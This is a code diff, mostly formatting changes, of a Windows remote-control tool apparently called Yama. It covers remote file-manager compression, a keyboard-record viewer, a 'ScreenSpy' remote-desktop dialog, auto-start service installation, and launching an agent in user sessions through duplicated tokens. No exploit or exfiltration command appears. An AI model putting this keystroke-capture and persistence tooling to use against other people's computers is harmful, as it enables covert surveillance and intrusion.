MessageBoxA("请确认是否正确设置公网地址IP或域名\r\n"
"绑定IP后主控只能使用指定IP绑定域名后\r\n"
"主控只能使用指定域名。当前公网地址: \r\n"
+ CString(master.empty() ? "未设置" : master.c_str()), "提示", MB_OK | MB_ICONWARNING);
"主控只能使用指定域名。当前公网地址: \r\n"
+ CString(master.empty() ? "未设置" : master.c_str()), "提示", MB_OK | MB_ICONWARNING);
}
}

View File

@@ -1345,20 +1345,20 @@ void CFileManagerDlg::OnLocalCompress()
if (m_list_local.GetItemData(nItem)) {
file += '\\';
}
paths.push_back(file.GetBuffer(0));
paths.push_back(file.GetBuffer(0));
}
std::string target = m_Local_Path.GetString() + ToPekingDateTime(0) + ".zsta";
std::string target = m_Local_Path.GetString() + ToPekingDateTime(0) + ".zsta";
zsta::Error err = zsta::CZstdArchive::Compress(paths, target);
if (err != zsta::Error::Success) {
::MessageBoxA(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)),
"错误", MB_OK | MB_ICONERROR);
}
else {
::MessageBoxA(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)),
"错误", MB_OK | MB_ICONERROR);
} else {
FixedLocalFileList(".");
}
}
bool HasZstaExtension(const std::string& path) {
bool HasZstaExtension(const std::string& path)
{
if (path.size() < 5) return false;
std::string ext = path.substr(path.size() - 5);
// 转小写比较
@@ -1366,7 +1366,8 @@ bool HasZstaExtension(const std::string& path) {
return ext == ".zsta";
}
std::string GetExtractDir(const std::string& archivePath) {
std::string GetExtractDir(const std::string& archivePath)
{
if (archivePath.size() >= 5) {
std::string ext = archivePath.substr(archivePath.size() - 5);
for (char& c : ext) c = tolower(c);
@@ -1379,7 +1380,7 @@ std::string GetExtractDir(const std::string& archivePath) {
void CFileManagerDlg::OnLocalUnCompress()
{
BOOL needRefresh = FALSE;
BOOL needRefresh = FALSE;
POSITION pos = m_list_local.GetFirstSelectedItemPosition();
while (pos) {
int nItem = m_list_local.GetNextSelectedItem(pos);
@@ -1387,17 +1388,15 @@ void CFileManagerDlg::OnLocalUnCompress()
// 如果是目录
if (m_list_local.GetItemData(nItem)) {
continue;
}
else if (HasZstaExtension(file.GetString())){
} else if (HasZstaExtension(file.GetString())) {
std::string path(file.GetBuffer(0));
std::string destDir = GetExtractDir(path);
zsta::Error err = zsta::CZstdArchive::Extract(path, destDir);
if (err != zsta::Error::Success) {
::MessageBoxA(m_hWnd, "解压失败: " + CString(zsta::CZstdArchive::GetErrorString(err)),
"错误", MB_OK | MB_ICONERROR);
}
else {
needRefresh = TRUE;
"错误", MB_OK | MB_ICONERROR);
} else {
needRefresh = TRUE;
}
}
}
@@ -1456,7 +1455,7 @@ void CFileManagerDlg::OnRemoteCompress()
if (paths.size() <= 1) {
::MessageBoxA(m_hWnd, "请先选择要压缩的文件或文件夹!", "提示", MB_OK | MB_ICONWARNING);
return;
}
}
auto pathsMultiString = BuildMultiStringPath(paths);
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1);
if (bPacket) {
@@ -1477,16 +1476,15 @@ void CFileManagerDlg::OnRemoteUnCompress()
// 如果是目录
if (m_list_remote.GetItemData(nItem)) {
continue;
}
else if (HasZstaExtension(file.GetString())) {
paths.push_back(file.GetBuffer(0));
} else if (HasZstaExtension(file.GetString())) {
paths.push_back(file.GetBuffer(0));
}
}
if (paths.empty()) {
::MessageBoxA(m_hWnd, "请先选择要解压的.zsta文件!", "提示", MB_OK | MB_ICONWARNING);
::MessageBoxA(m_hWnd, "请先选择要解压的.zsta文件!", "提示", MB_OK | MB_ICONWARNING);
return;
}
auto pathsMultiString = BuildMultiStringPath(paths);
}
auto pathsMultiString = BuildMultiStringPath(paths);
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, pathsMultiString.size() + 1);
if (bPacket) {
memcpy(bPacket + 1, pathsMultiString.data(), pathsMultiString.size());
@@ -2190,8 +2188,7 @@ void CFileManagerDlg::OnFilemangerCompress()
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalCompress();
}
else {
} else {
OnRemoteCompress();
}
}
@@ -2203,8 +2200,7 @@ void CFileManagerDlg::OnFilemangerUncompress()
GetCursorPos(&pt);
if (GetFocus()->m_hWnd == m_list_local.m_hWnd) {
OnLocalUnCompress();
}
else {
} else {
OnRemoteUnCompress();
}
}

View File

@@ -12,10 +12,10 @@
#define ClientContext CONTEXT_OBJECT
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
} FILESIZE;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
} FILESIZE;
#define m_DeCompressionBuffer InDeCompressedBuffer

View File

@@ -10,37 +10,37 @@
/////////////////////////////////////////////////////////////////////////////
// CFileTransferModeDlg dialog
class CFileTransferModeDlg : public CDialog
{
class CFileTransferModeDlg : public CDialog
{
// Construction
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
public:
CString m_strFileName;
CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CFileTransferModeDlg)
enum { IDD = IDD_TRANSFERMODE_DLG };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
//{{AFX_DATA(CFileTransferModeDlg)
enum { IDD = IDD_TRANSFERMODE_DLG };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFileTransferModeDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CFileTransferModeDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
protected:
// Generated message map functions
//{{AFX_MSG(CFileTransferModeDlg)
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
// Generated message map functions
//{{AFX_MSG(CFileTransferModeDlg)
afx_msg void OnEndDialog(UINT id);
virtual BOOL OnInitDialog();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

View File

@@ -13,48 +13,48 @@
/////////////////////////////////////////////////////////////////////////////
// CKeyBoardDlg dialog
class CKeyBoardDlg : public DialogBase
{
class CKeyBoardDlg : public DialogBase
{
// Construction
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
public:
void OnReceiveComplete();
CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CKeyBoardDlg)
enum { IDD = IDD_DLG_KEYBOARD };
CEdit m_edit;
//}}AFX_DATA
//{{AFX_DATA(CKeyBoardDlg)
enum { IDD = IDD_DLG_KEYBOARD };
CEdit m_edit;
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CKeyBoardDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
bool m_bIsOfflineRecord;
protected:
bool m_bIsOfflineRecord;
void AddKeyBoardData();
void UpdateTitle();
void ResizeEdit();
bool SaveRecord();
void AddKeyBoardData();
void UpdateTitle();
void ResizeEdit();
bool SaveRecord();
// Generated message map functions
//{{AFX_MSG(CKeyBoardDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
// Generated message map functions
//{{AFX_MSG(CKeyBoardDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

View File

@@ -232,8 +232,8 @@ BOOL CScreenSpyDlg::OnInitDialog()
CDialog::OnInitDialog();
SetIcon(m_hIcon,FALSE);
DragAcceptFiles(TRUE);
ChangeWindowMessageFilter(WM_DROPFILES, MSGFLT_ADD);
ChangeWindowMessageFilter(0x0049, MSGFLT_ADD);
ChangeWindowMessageFilter(WM_DROPFILES, MSGFLT_ADD);
ChangeWindowMessageFilter(0x0049, MSGFLT_ADD);
PrepareDrawing(m_BitmapInfor_Full);
@@ -258,16 +258,16 @@ BOOL CScreenSpyDlg::OnInitDialog()
SysMenu->AppendMenu(MF_STRING, IDM_SCREEN_1080P, "限制为1080P(&4)");
SysMenu->AppendMenu(MF_SEPARATOR);
CMenu fpsMenu;
if (fpsMenu.CreatePopupMenu()) {
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制");
SysMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)fpsMenu.Detach(), _T("帧率设置"));
}
CMenu fpsMenu;
if (fpsMenu.CreatePopupMenu()) {
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30");
fpsMenu.AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制");
SysMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)fpsMenu.Detach(), _T("帧率设置"));
}
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
SysMenu->EnableMenuItem(IDM_SWITCHSCREEN, all ? MF_ENABLED : MF_GRAYED);
@@ -322,7 +322,8 @@ VOID CScreenSpyDlg::OnClose()
DialogBase::OnClose();
}
afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam) {
afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam)
{
m_bConnected = FALSE;
return S_OK;
}
@@ -685,18 +686,22 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
break;
}
case IDM_SCREEN_1080P: {
const int strategy = 0;
BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy };
m_ContextObject->Send2Client(cmd, sizeof(cmd));
break;
}
case IDM_SCREEN_1080P: {
const int strategy = 0;
BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy };
m_ContextObject->Send2Client(cmd, sizeof(cmd));
break;
}
case IDM_FPS_10: case IDM_FPS_15: case IDM_FPS_20:
case IDM_FPS_25: case IDM_FPS_30: case IDM_FPS_UNLIMITED: {
case IDM_FPS_10:
case IDM_FPS_15:
case IDM_FPS_20:
case IDM_FPS_25:
case IDM_FPS_30:
case IDM_FPS_UNLIMITED: {
int fps = 10 + (nID - IDM_FPS_10) * 5;
BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps };
m_ContextObject->Send2Client(bToken, sizeof(bToken));
break;
}
@@ -750,9 +755,9 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent)
SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00));
TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
if (nIDEvent == 1 && m_bFullScreen && m_pToolbar) {
m_pToolbar->CheckMousePosition();
}
if (nIDEvent == 1 && m_bFullScreen && m_pToolbar) {
m_pToolbar->CheckMousePosition();
}
CDialog::OnTimer(nIDEvent);
}
@@ -778,21 +783,21 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
case WM_KEYUP:
case WM_SYSKEYDOWN:
case WM_SYSKEYUP:
if (pMsg->message == WM_KEYDOWN && m_bFullScreen) {
// Ctrl+Alt+Home 退出全屏(备用)
if (pMsg->wParam == VK_HOME &&
(GetKeyState(VK_CONTROL) & 0x8000) &&
(GetKeyState(VK_MENU) & 0x8000)) {
LeaveFullScreen();
return TRUE;
}
}
if (pMsg->message == WM_KEYDOWN && m_bFullScreen) {
// Ctrl+Alt+Home 退出全屏(备用)
if (pMsg->wParam == VK_HOME &&
(GetKeyState(VK_CONTROL) & 0x8000) &&
(GetKeyState(VK_MENU) & 0x8000)) {
LeaveFullScreen();
return TRUE;
}
}
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) {
SendScaledMouseMessage(pMsg, true);
}
if (pMsg->message == WM_SYSKEYDOWN && pMsg->wParam == VK_F4) {
return TRUE; // 屏蔽 Alt + F4
}
if (pMsg->message == WM_SYSKEYDOWN && pMsg->wParam == VK_F4) {
return TRUE; // 屏蔽 Alt + F4
}
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
return TRUE;// 屏蔽Enter和ESC关闭对话
break;
@@ -1032,13 +1037,13 @@ void CScreenSpyDlg::EnterFullScreen()
SetWindowPos(&CWnd::wndTop, rcMonitor.left, rcMonitor.top, rcMonitor.right - rcMonitor.left,
rcMonitor.bottom - rcMonitor.top, SWP_NOZORDER | SWP_FRAMECHANGED);
if (!m_pToolbar) {
m_pToolbar = new CToolbarDlg(this);
m_pToolbar->Create(IDD_TOOLBAR_DLG, this);
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
m_pToolbar->SetWindowPos(&wndTopMost, 0, -40, cx, 40, SWP_HIDEWINDOW);
}
if (!m_pToolbar) {
m_pToolbar = new CToolbarDlg(this);
m_pToolbar->Create(IDD_TOOLBAR_DLG, this);
int cx = GetSystemMetrics(SM_CXSCREEN);
int cy = GetSystemMetrics(SM_CYSCREEN);
m_pToolbar->SetWindowPos(&wndTopMost, 0, -40, cx, 40, SWP_HIDEWINDOW);
}
// 7. 标记全屏模式
m_bFullScreen = true;
@@ -1052,11 +1057,11 @@ bool CScreenSpyDlg::LeaveFullScreen()
{
if (m_bFullScreen) {
KillTimer(1);
if (m_pToolbar) {
m_pToolbar->DestroyWindow();
delete m_pToolbar;
m_pToolbar = nullptr;
}
if (m_pToolbar) {
m_pToolbar->DestroyWindow();
delete m_pToolbar;
m_pToolbar = nullptr;
}
// 1. 恢复窗口样式
LONG lStyle = GetWindowLong(m_hWnd, GWL_STYLE);
@@ -1150,24 +1155,24 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
}
}
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) {
m_bIsCtrl = ctrl;
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
{
m_bIsCtrl = ctrl;
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
}
// 将多个路径组合成单\0分隔的char数组
// 格式: "path1\0path2\0path3\0"
std::vector<char> BuildMultiStringPath(const std::vector<std::string>& paths)
{
std::vector<char> result;
std::vector<char> result;
for (const auto& path : paths)
{
result.insert(result.end(), path.begin(), path.end());
result.push_back('\0');
}
for (const auto& path : paths) {
result.insert(result.end(), path.begin(), path.end());
result.push_back('\0');
}
return result;
return result;
}
void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
@@ -1175,8 +1180,7 @@ void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
if (m_bIsCtrl && m_bConnected) {
UINT nFiles = DragQueryFile(hDropInfo, 0xFFFFFFFF, NULL, 0);
std::vector<std::string> list;
for (UINT i = 0; i < nFiles; i++)
{
for (UINT i = 0; i < nFiles; i++) {
TCHAR szPath[MAX_PATH];
DragQueryFile(hDropInfo, i, szPath, MAX_PATH);
list.push_back(szPath);
@@ -1198,7 +1202,7 @@ void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo)
SAFE_DELETE_ARRAY(szBuffer);
}
DragFinish(hDropInfo);
DragFinish(hDropInfo);
CDialogBase::OnDropFiles(hDropInfo);
}

View File

@@ -44,7 +44,7 @@ extern "C"
class CScreenSpyDlg : public DialogBase
{
DECLARE_DYNAMIC(CScreenSpyDlg)
CToolbarDlg* m_pToolbar = nullptr;
CToolbarDlg* m_pToolbar = nullptr;
CMy2015RemoteDlg* m_pParent = nullptr;
public:
@@ -127,9 +127,10 @@ public:
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);
afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam);
afx_msg void OnExitFullscreen() {
afx_msg void OnExitFullscreen()
{
LeaveFullScreen();
}
}
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持

View File

@@ -112,8 +112,7 @@ protected:
m_bShouldUnmask = TRUE;
std::string clientIP = getXForwardedFor(str);
if (!clientIP.empty()) peer = clientIP;
}
else {
} else {
m_bShouldUnmask = FALSE;
}
if (nullptr == m_Masker) {

View File

@@ -15,7 +15,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode);
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize)
char* exePath, size_t exePathSize)
{
*registered = FALSE;
*running = FALSE;
@@ -31,9 +31,9 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
// 打开服务
SC_HANDLE hService = OpenServiceA(
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
hSCM,
SERVER_SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG);
if (!hService) {
CloseServiceHandle(hSCM);
return FALSE; // 未注册
@@ -46,11 +46,11 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
DWORD bytesNeeded = 0;
memset(&ssp, 0, sizeof(ssp));
if (QueryServiceStatusEx(
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded)) {
hService,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ssp,
sizeof(SERVICE_STATUS_PROCESS),
&bytesNeeded)) {
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
}
@@ -190,9 +190,9 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
Mprintf("ServiceMain() called");
g_StatusHandle = RegisterServiceCtrlHandler(
SERVER_SERVICE_NAME,
ServiceCtrlHandler
);
SERVER_SERVICE_NAME,
ServiceCtrlHandler
);
if (g_StatusHandle == NULL) {
Mprintf("RegisterServiceCtrlHandler failed");
@@ -318,10 +318,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
BOOL ServerService_Install(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
@@ -345,16 +345,16 @@ BOOL ServerService_Install(void)
Mprintf("Executable path: %s\n", szPathWithArg);
SC_HANDLE schService = CreateServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVER_SERVICE_DISPLAY,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPathWithArg,
NULL, NULL, NULL, NULL, NULL
);
schSCManager,
SERVER_SERVICE_NAME,
SERVER_SERVICE_DISPLAY,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
szPathWithArg,
NULL, NULL, NULL, NULL, NULL
);
if (schService == NULL) {
DWORD err = GetLastError();
@@ -366,11 +366,9 @@ BOOL ServerService_Install(void)
CloseServiceHandle(schService);
}
return TRUE;
}
else if (err == ERROR_ACCESS_DENIED) {
} else if (err == ERROR_ACCESS_DENIED) {
Mprintf("ERROR: Access denied. Please run as Administrator\n");
}
else {
} else {
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
}
CloseServiceHandle(schSCManager);
@@ -395,19 +393,16 @@ BOOL ServerService_Install(void)
if (QueryServiceStatus(schService, &status)) {
if (status.dwCurrentState == SERVICE_RUNNING) {
Mprintf("SUCCESS: Service is running\n");
}
else {
} else {
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
}
}
}
else {
} else {
err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
Mprintf("INFO: Service is already running\n");
err = 0;
}
else {
} else {
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
}
}
@@ -420,10 +415,10 @@ BOOL ServerService_Install(void)
BOOL ServerService_Uninstall(void)
{
SC_HANDLE schSCManager = OpenSCManager(
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
NULL,
NULL,
SC_MANAGER_ALL_ACCESS
);
if (schSCManager == NULL) {
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
@@ -431,10 +426,10 @@ BOOL ServerService_Uninstall(void)
}
SC_HANDLE schService = OpenServiceA(
schSCManager,
SERVER_SERVICE_NAME,
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
);
schSCManager,
SERVER_SERVICE_NAME,
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
);
if (schService == NULL) {
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
@@ -455,14 +450,12 @@ BOOL ServerService_Uninstall(void)
Mprintf(".");
Sleep(1000);
waitCount++;
}
else {
} else {
break;
}
}
Mprintf("\n");
}
else {
} else {
DWORD err = GetLastError();
if (err != ERROR_SERVICE_NOT_ACTIVE) {
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
@@ -475,8 +468,7 @@ BOOL ServerService_Uninstall(void)
if (DeleteService(schService)) {
Mprintf("SUCCESS: Service uninstalled successfully\n");
r = TRUE;
}
else {
} else {
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
}

View File

@@ -7,7 +7,7 @@
extern "C" {
#endif
// 服务配置:服务端使用不同的服务名
// 服务配置:服务端使用不同的服务名
#define SERVER_SERVICE_NAME "YamaControlService"
#define SERVER_SERVICE_DISPLAY "Yama Control Service"
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
@@ -33,29 +33,29 @@ sc query YamaControlService
// exePath - 输出参数服务可执行文件路径可为NULL
// exePathSize - exePath缓冲区大小
// 返回: 成功返回TRUE
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize);
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
char* exePath, size_t exePathSize);
// 简单启动服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_StartSimple(void);
// 简单启动服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_StartSimple(void);
// 运行服务(作为服务主入口)
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Run(void);
// 运行服务(作为服务主入口)
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Run(void);
// 停止服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Stop(void);
// 停止服务
// 返回: ERROR_SUCCESS 或错误码
int ServerService_Stop(void);
// 安装服务
BOOL ServerService_Install(void);
// 安装服务
BOOL ServerService_Install(void);
// 卸载服务
BOOL ServerService_Uninstall(void);
// 卸载服务
BOOL ServerService_Uninstall(void);
// 服务工作线程
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam);
// 服务工作线程
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam);
#ifdef __cplusplus
}

View File

@@ -50,7 +50,7 @@ static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProces
if (arr->count >= arr->capacity) {
size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc(
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
if (!newItems) {
return FALSE;
}
@@ -175,7 +175,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
DWORD dwCount = 0;
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
&pSessionInfo, &dwCount)) {
&pSessionInfo, &dwCount)) {
BOOL foundActiveSession = FALSE;
@@ -187,8 +187,8 @@ static void MonitorLoop(ServerSessionMonitor* self)
// 记录会话每5次循环记录一次避免日志过多
if (loopCount % 5 == 1) {
sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s",
(int)sessionId,
pSessionInfo[i].pWinStationName);
(int)sessionId,
pSessionInfo[i].pWinStationName);
Mprintf(buf);
}
@@ -201,8 +201,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
Mprintf("GUI launched successfully");
// 给程序一些时间启动
Sleep(2000);
}
else {
} else {
Mprintf("Failed to launch GUI");
}
}
@@ -217,8 +216,7 @@ static void MonitorLoop(ServerSessionMonitor* self)
}
WTSFreeMemory(pSessionInfo);
}
else {
} else {
if (loopCount % 5 == 1) {
Mprintf("WTSEnumerateSessions failed");
}
@@ -247,8 +245,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId)
char* pFileName = strrchr(currentExeName, '\\');
if (pFileName) {
pFileName++;
}
else {
} else {
pFileName = currentExeName;
}
@@ -306,7 +303,7 @@ static void TerminateAllGui(ServerSessionMonitor* self)
ServerAgentProcessInfo* info = &self->agentProcesses.items[i];
sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)",
(int)info->processId, (int)info->sessionId);
(int)info->processId, (int)info->sessionId);
Mprintf(buf);
// 检查进程是否还活着
@@ -316,18 +313,16 @@ static void TerminateAllGui(ServerSessionMonitor* self)
// 进程还在运行,终止它
if (!TerminateProcess(info->hProcess, 0)) {
sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError());
(int)info->processId, (int)GetLastError());
Mprintf(buf);
}
else {
} else {
Mprintf("GUI terminated successfully");
// 等待进程完全退出
WaitForSingleObject(info->hProcess, 5000);
}
}
else {
} else {
sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d",
(int)info->processId, (int)exitCode);
(int)info->processId, (int)exitCode);
Mprintf(buf);
}
}
@@ -357,18 +352,17 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self)
if (exitCode != STILL_ACTIVE) {
// 进程已退出
sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode);
(int)info->processId, (int)exitCode);
Mprintf(buf);
SAFE_CLOSE_HANDLE(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // 不增加 i因为删除了元素
}
}
else {
} else {
// 无法获取退出代码,可能进程已不存在
sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list",
(int)info->processId);
(int)info->processId);
Mprintf(buf);
SAFE_CLOSE_HANDLE(info->hProcess);
@@ -408,7 +402,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 复制为可用于创建进程的主令牌
HANDLE hDupToken = NULL;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) {
SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError());
Mprintf(buf);
SAFE_CLOSE_HANDLE(hToken);
@@ -473,18 +467,18 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId)
// 在用户会话中创建进程GUI程序不隐藏窗口
BOOL result = CreateProcessAsUserA(
hDupToken,
NULL, // 应用程序名(在命令行中解析)
cmdLine, // 命令行参数Yama.exe -agent
NULL, // 进程安全属性
NULL, // 线程安全属性
FALSE, // 不继承句柄
NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW
lpEnvironment, // 环境变量
NULL, // 当前目录
